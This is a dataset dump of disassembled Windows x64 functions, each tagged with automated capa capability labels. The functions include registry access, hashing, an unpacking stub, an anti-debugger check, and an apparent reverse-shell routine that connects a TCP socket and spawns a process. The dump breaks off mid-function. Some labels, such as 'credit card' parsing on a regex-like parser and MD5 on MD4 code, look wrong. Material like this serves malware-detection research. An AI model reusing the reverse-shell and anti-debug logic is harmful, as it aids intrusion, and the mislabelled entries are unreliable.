joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14019b210
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x290
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14030bc70]
xor rax, rsp
mov qword [rbp + 0x180], rax
or r14d, 0xffffffff
xor r13d, r13d
mov qword [rsp + 0x48], r13
lea rdx, [rcx + 0xb0]
cmp qword [rdx + 0x18], 0x10
jb 0x14019b26d
mov rdx, qword [rdx]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rcx, qword [rcx + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r15, qword [rsp + 0x48]
test eax, eax
je 0x14019b2b0
test r15, r15
je 0x14019b455
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r15, r13
mov qword [rsp + 0x48], r13
test r15, r15
je 0x14019b455
mov r12d, r13d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call fcn.140141ad0
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x40], 0x200
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x14019b44c
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x70], reloc.WSOCK32.dll_ntohs
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], al
cmp byte [rbp - 0x80], al
jne 0x14019b32b
mov r8, r13
jmp 0x14019b33d
lea rax, [rbp - 0x80]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14019b333
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.140009d60
nop
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14019b3af
lea rdi, [rsp + 0x58]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
cmp rcx, 0x10
cmovae rdi, rdx
add rdi, r8
lea rbx, [rsp + 0x58]
cmp rcx, 0x10
cmovae rbx, rdx
add rbx, r8
lea rsi, [rsp + 0x58]
cmp rcx, 0x10
cmovae rsi, rdx
cmp rsi, rbx
je 0x14019b3a6
movsx ecx, byte [rsi]
call fcn.140161a40
test eax, eax
je 0x14019b3a6
inc rsi
cmp rsi, rbx
jne 0x14019b392
cmp rsi, rdi
jne 0x14019b3af
mov bl, 1
jmp 0x14019b3b1
xor bl, bl
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x14019b3f1
mov rcx, qword [rsp + 0x58]
inc rax
cmp rax, 0x1000
jb 0x14019b3ec
test cl, 0x1f
jne 0x14019b446
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14019b440
sub rcx, rax
cmp rcx, 8
jb 0x14019b43a
cmp rcx, 0x27
ja 0x14019b434
mov rcx, rax
call fcn.1400dbae0
mov qword [rsp + 0x70], reloc.WSOCK32.dll_ntohs
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
test bl, bl
je 0x14019b418
lea rcx, [rbp - 0x80]
call fcn.1401501e8
cmp eax, r14d
cmovg r14d, eax
inc r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call fcn.140141ad0
mov edx, r12d
jmp 0x14019b2cf
call fcn.14014b4d8
int3
call fcn.14014b4d8
int3
call fcn.14014b4d8
int3
call fcn.14014b4d8
int3
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, r14d
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140113910
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14019cb00
Capabilities:
Set registry value

Disassembly:
push rbx
push rdi
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x14030bc70]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rbx, [rcx + 0xb0]
mov r15, r8
cmp qword [rbx + 0x18], 0x10
mov r14, rdx
mov rdi, rcx
jb 0x14019cb39
mov rdx, qword [rbx]
jmp 0x14019cb3c
mov rdx, rbx
mov rcx, qword [rcx + 0x88]
call fcn.14019c5e0
test al, al
je 0x14019ccde
mov qword [rsp + 0x70], r12
lea r8, [rsp + 0x30]
mov rdx, r14
mov rcx, rdi
xor r12b, r12b
call fcn.14019b140
cmp dword [rsp + 0x30], 0
jle 0x14019ccd5
cmp qword [rbx + 0x18], 0x10
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x38], 0
jb 0x14019cb8b
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x88]
lea rax, [rsp + 0x38]
mov r9d, 0x2001f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rsi, qword [rsp + 0x38]
test eax, eax
je 0x14019cbd0
test rsi, rsi
je 0x14019ccd0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov qword [rsp + 0x38], rsi
test rsi, rsi
je 0x14019ccd0
or rbx, 0xffffffffffffffff
mov qword [rsp + 0x80], rbp
mov rdi, rbx
nop dword [rax + rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x14019cbf0
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [r15 + rax], 0
jne 0x14019cc00
add rdi, rax
lea rdi, [rdi*2 + 0xe]
mov rcx, rdi
call fcn.140113934
mov r8, rdi
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.140141ad0
mov r9, r15
lea rdx, str._s__s
mov r8, r14
mov rcx, rbp
call fcn.1400a61e0
mov r8d, dword [rsp + 0x30]
lea rdx, [0x140216f18]
xor eax, eax
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x41], rax
mov qword [rsp + 0x49], rax
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
call fcn.1400a61e0
nop dword [rax + rax]
inc rbx
cmp byte [rbx + rbp], 0
jne 0x14019cc80
inc ebx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov ebx, 1
mov qword [rsp + 0x20], rbp
mov r9d, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
movzx r12d, r12b
mov rcx, rbp
test eax, eax
cmove r12d, ebx
call fcn.1401139ac
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
movzx eax, r12b
mov r12, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140113910
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rbx
ret
Function at 0x14019ea20
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor al, al
mov rbx, rcx
cmp dword [rcx + 0x7c], 0xffffffff
je 0x14019ec87
nop dword [rax]
mov ecx, dword [rbx + 0x7c]
cmp ecx, 0x7c
je 0x14019ec87
cmp ecx, 0x29
jne 0x14019ea6b
cmp dword [rbx + 0x1c], 0
jne 0x14019ec87
test dword [rbx + 0x80], 0x10000000
je 0x14019ec92
cmp ecx, 0x2e
jne 0x14019eacc
lea rcx, [rbx + 0x40]
mov edx, 5
call fcn.1401a21f0
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
cmp rcx, rax
je 0x14019eabf
cmp byte [rcx], 0x5c
jne 0x14019eabc
inc rcx
cmp rcx, rax
je 0x14019eabc
mov edx, dword [rbx + 0x80]
test dl, 8
jne 0x14019eaab
movzx eax, byte [rcx]
sub al, 0x28
cmp al, 1
jbe 0x14019eab9
test dl, 0x10
jne 0x14019eabc
movzx eax, byte [rcx]
sub al, 0x7b
test al, 0xfd
jne 0x14019eabc
mov qword [rbx], rcx
inc qword [rbx]
mov rcx, rbx
call fcn.1401a2dd0
jmp 0x14019ec73
cmp ecx, 0x5c
jne 0x14019eb8a
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
cmp rcx, rax
je 0x14019eb16
cmp byte [rcx], 0x5c
jne 0x14019eb13
inc rcx
cmp rcx, rax
je 0x14019eb13
mov edx, dword [rbx + 0x80]
test dl, 8
jne 0x14019eb02
movzx eax, byte [rcx]
sub al, 0x28
cmp al, 1
jbe 0x14019eb10
test dl, 0x10
jne 0x14019eb13
movzx eax, byte [rcx]
sub al, 0x7b
test al, 0xfd
jne 0x14019eb13
mov qword [rbx], rcx
inc qword [rbx]
mov rcx, rbx
call fcn.1401a2dd0
mov eax, dword [rbx + 0x80]
and eax, 0x80
je 0x14019eb4c
cmp byte [rbx + 0x78], 0x62
jne 0x14019eb4c
lea rcx, [rbx + 0x40]
mov edx, 4
call fcn.1401a21f0
mov rcx, rbx
call fcn.1401a2280
jmp 0x14019ec7b
test eax, eax
je 0x14019eb7d
cmp byte [rbx + 0x78], 0x42
jne 0x14019eb7d
lea rcx, [rbx + 0x40]
mov edx, 4
call fcn.1401a21f0
mov rax, qword [rbx + 0x48]
mov rcx, rbx
xor dword [rax + 0xc], 1
add rax, 0xc
call fcn.1401a2280
jmp 0x14019ec7b
mov rcx, rbx
call fcn.14019ecc0
jmp 0x14019ec73
cmp ecx, 0x5b
jne 0x14019ebb5
mov rcx, rbx
call fcn.1401a2280
mov rcx, rbx
call fcn.14019f400
mov edx, 0x5d
mov rcx, rbx
lea r8d, [rdx - 0x59]
call fcn.1401a1480
jmp 0x14019ec73
cmp ecx, 0x28
jne 0x14019ebec
mov rcx, rbx
call fcn.1401a2280
mov rcx, rbx
call fcn.1401a30e0
mov edx, 0x29
mov rcx, rbx
movzx edi, al
lea r8d, [rdx - 0x24]
call fcn.1401a1480
test dil, dil
je 0x14019ec7b
jmp 0x14019ec73
cmp ecx, 0x5e
jne 0x14019ec09
lea rcx, [rbx + 0x40]
mov edx, 2
call fcn.1401a21f0
mov rcx, rbx
call fcn.1401a2280
jmp 0x14019ec7b
cmp ecx, 0x24
jne 0x14019ec26
lea rcx, [rbx + 0x40]
mov edx, 3
call fcn.1401a21f0
mov rcx, rbx
call fcn.1401a2280
jmp 0x14019ec7b
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x14019ecb3
cmp ecx, 0x3f
je 0x14019ecb3
cmp ecx, 0x7b
je 0x14019ecb3
cmp ecx, 0x7d
jne 0x14019ec4d
test dword [rbx + 0x80], 0x10000000
je 0x14019ec9d
cmp ecx, 0x5d
jne 0x14019ec5e
test dword [rbx + 0x80], 0x10000000
je 0x14019eca8
movzx edx, byte [rbx + 0x78]
lea rcx, [rbx + 0x40]
call fcn.14019de90
mov rcx, rbx
call fcn.1401a2280
mov rcx, rbx
call fcn.1401a2370
cmp dword [rbx + 0x7c], 0xffffffff
mov al, 1
jne 0x14019ea40
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov ecx, 5
call fcn.140114ccc
int3
mov ecx, 6
call fcn.140114ccc
int3
mov ecx, 4
call fcn.140114ccc
int3
mov ecx, 0xa
call fcn.140114ccc
int3
Function at 0x1401a8660
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
lea rax, vtable.Poco::MD5Engine.0
mov rdi, rcx
mov qword [rcx], rax
add rcx, 8
lea r8d, [rdx + 0x58]
call fcn.140141ad0
xor eax, eax
mov dword [rdi + 8], 0x67452301
lea rcx, [rdi + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0xc], 0xefcdab89
mov dword [rdi + 0x10], 0x98badcfe
mov dword [rdi + 0x14], 0x10325476
call fcn.14002a0c0
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1401a8360

Function at 0x1401a86d0
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
lea rax, vtable.Poco::MD5Engine.0
xor edx, edx
mov qword [rcx], rax
mov rsi, rcx
add rcx, 8
lea r8d, [rdx + 0x58]
call fcn.140141ad0
xor eax, eax
mov dword [rsi + 8], 0x67452301
lea rcx, [rsi + 0x60]
mov qword [rsi + 0x18], rax
mov dword [rsi + 0xc], 0xefcdab89
mov dword [rsi + 0x10], 0x98badcfe
mov dword [rsi + 0x14], 0x10325476
call fcn.14002a0c0
mov rcx, rsi
call fcn.1401a8360
test dil, 1
je 0x1401a8743
mov edx, 0x78
mov rcx, rsi
call fcn.1401139ac
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1401a9ad0
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
lea rax, vtable.Poco::MD4Engine.0
mov rdi, rcx
mov qword [rcx], rax
add rcx, 8
lea r8d, [rdx + 0x58]
call fcn.140141ad0
xor eax, eax
mov dword [rdi + 8], 0x67452301
lea rcx, [rdi + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0xc], 0xefcdab89
mov dword [rdi + 0x10], 0x98badcfe
mov dword [rdi + 0x14], 0x10325476
call fcn.14002a0c0
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1401a8360

Function at 0x1401a9b40
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
lea rax, vtable.Poco::MD4Engine.0
xor edx, edx
mov qword [rcx], rax
mov rsi, rcx
add rcx, 8
lea r8d, [rdx + 0x58]
call fcn.140141ad0
xor eax, eax
mov dword [rsi + 8], 0x67452301
lea rcx, [rsi + 0x60]
mov qword [rsi + 0x18], rax
mov dword [rsi + 0xc], 0xefcdab89
mov dword [rsi + 0x10], 0x98badcfe
mov dword [rsi + 0x14], 0x10325476
call fcn.14002a0c0
mov rcx, rsi
call fcn.1401a8360
test dil, 1
je 0x1401a9bb3
mov edx, 0x78
mov rcx, rsi
call fcn.1401139ac
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1401a9d10
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
mov rdi, rcx
add rcx, 8
lea r8d, [rdx + 0x58]
call fcn.140141ad0
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov qword [rdi + 0x18], rax
mov dword [rdi + 8], 0x67452301
mov dword [rdi + 0xc], 0xefcdab89
mov dword [rdi + 0x10], 0x98badcfe
mov dword [rdi + 0x14], 0x10325476
add rsp, 0x20
pop rdi
ret
Function at 0x1401c52f0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, r8
mov qword [rsp + 0x50], 0
mov rbx, rdx
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x50]
xor edx, edx
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov rcx, qword [rsp + 0x50]
mov r8, rbx
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x11fa700
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x11fa70d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x11fa71d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x11fa705
lea eax, [rcx + 1]
jmp 0x11fa72b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x11fa73e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x11fa724
sub eax, 3
jb 0x11fa75e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x11fa7ad
sar eax, 1
movsxd rbp, eax
jb 0x11fa794
jmp 0x11fa76c
add ebx, ebx
jne 0x11fa76a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x11fa794
inc ecx
add ebx, ebx
jne 0x11fa77a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x11fa794
call r11
adc ecx, ecx
add ebx, ebx
jne 0x11fa78d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x11fa77c
add ecx, 2
jmp 0x11fa799
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.011fa6c2
jmp 0x11fa70d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x453600
mov dl, 0x39
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x11fa7f9
cmp rsi, rcx
jae 0x11fa801
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x11fa7e0
cmp al, 0x8f
ja 0x11fa7e0
cmp byte [rsi - 2], 0xf
je 0x11fa7e6
sub al, 0xe8
cmp al, 1
ja 0x11fa7ca
cmp rsi, rcx
jae 0x11fa801
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x11fa7d0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x11fa801
lodsb al, byte [rsi]
jmp 0x11fa7e0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xdee000]
mov eax, dword [rdi]
or eax, eax
je 0x11fa85e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xdfa000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x11fa80e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x11fa858
mov qword [rbx], rax
add rbx, 8
jmp 0x11fa82e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x11fa8a2
cmp al, 0xef
ja 0x11fa88a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x11fa86a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x11fa879
mov eax, dword [rdi]
add rdi, 4
jmp 0x11fa879
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x11fa8f6
sub rsp, 0xffffffffffffff80
jmp 0x4780c0
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400ba740]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400ba750]
mov dword [rax], 1
mov rax, qword [0x1400ba760]
mov dword [rax], 1
mov rax, qword [0x1400ba730]
mov dword [rax], 1
mov rax, qword [0x1400ba5e0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400ba720]
mov dword [0x1400e100c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400ba6e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400ba6c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400b9a20]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400019ff
Capabilities:
Check for debugger via api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp - 4]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
mov eax, dword [rbp - 4]
test eax, eax
setne al
add rsp, 0x30
pop rbp
ret
Function at 0x140001b49
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x2b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x250], rcx
mov dword [rbp + 0x258], edx
call sym.DetectDebugger__
test al, al
je 0x140001b7b
mov ecx, 1
call sym.exit
lea rax, [rbp + 0x90]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140001ba6
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x22c], eax
cmp dword [rbp + 0x22c], 0
jns 0x140001bd8
mov ecx, 1
call sym.exit
mov word [rbp + 0x80], 2
mov eax, dword [rbp + 0x258]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x82], ax
mov rcx, qword [rbp + 0x250]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x22c]
cdqe
lea rdx, [rbp + 0x80]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
shr eax, 0x1f
test al, al
je 0x140001c58
mov eax, dword [rbp + 0x22c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 1
call sym.exit
mov byte [rbp + 0x22b], 0x47
movzx edx, byte [rbp + 0x22b]
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.rebuild_path_abi:cxx11__unsigned_char_
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140001d0a
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x22c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001d70
add rsp, 0x2b0
pop rbx
pop rdi
pop rbp
ret
Function at 0x14000b740
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x14000b7b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400e10b4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x14000b960
mov rax, qword [0x1400e10b8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000b7fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000b887
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x14000b7e0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x14000b9bd
mov rax, qword [0x1400e10b8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e10b8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b9a2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000b880
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000b910
add dword [0x1400e10b4], 1
cmp ebx, 8
jae 0x14000b8b8
test bl, 4
jne 0x14000b970
test ebx, ebx
je 0x14000b8a9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x14000b990
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x14000b8a9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14000b8ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400e10b8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b880
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x14000b807
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x14000b8a9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x14000b8a9
mov rax, qword [0x1400e10b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
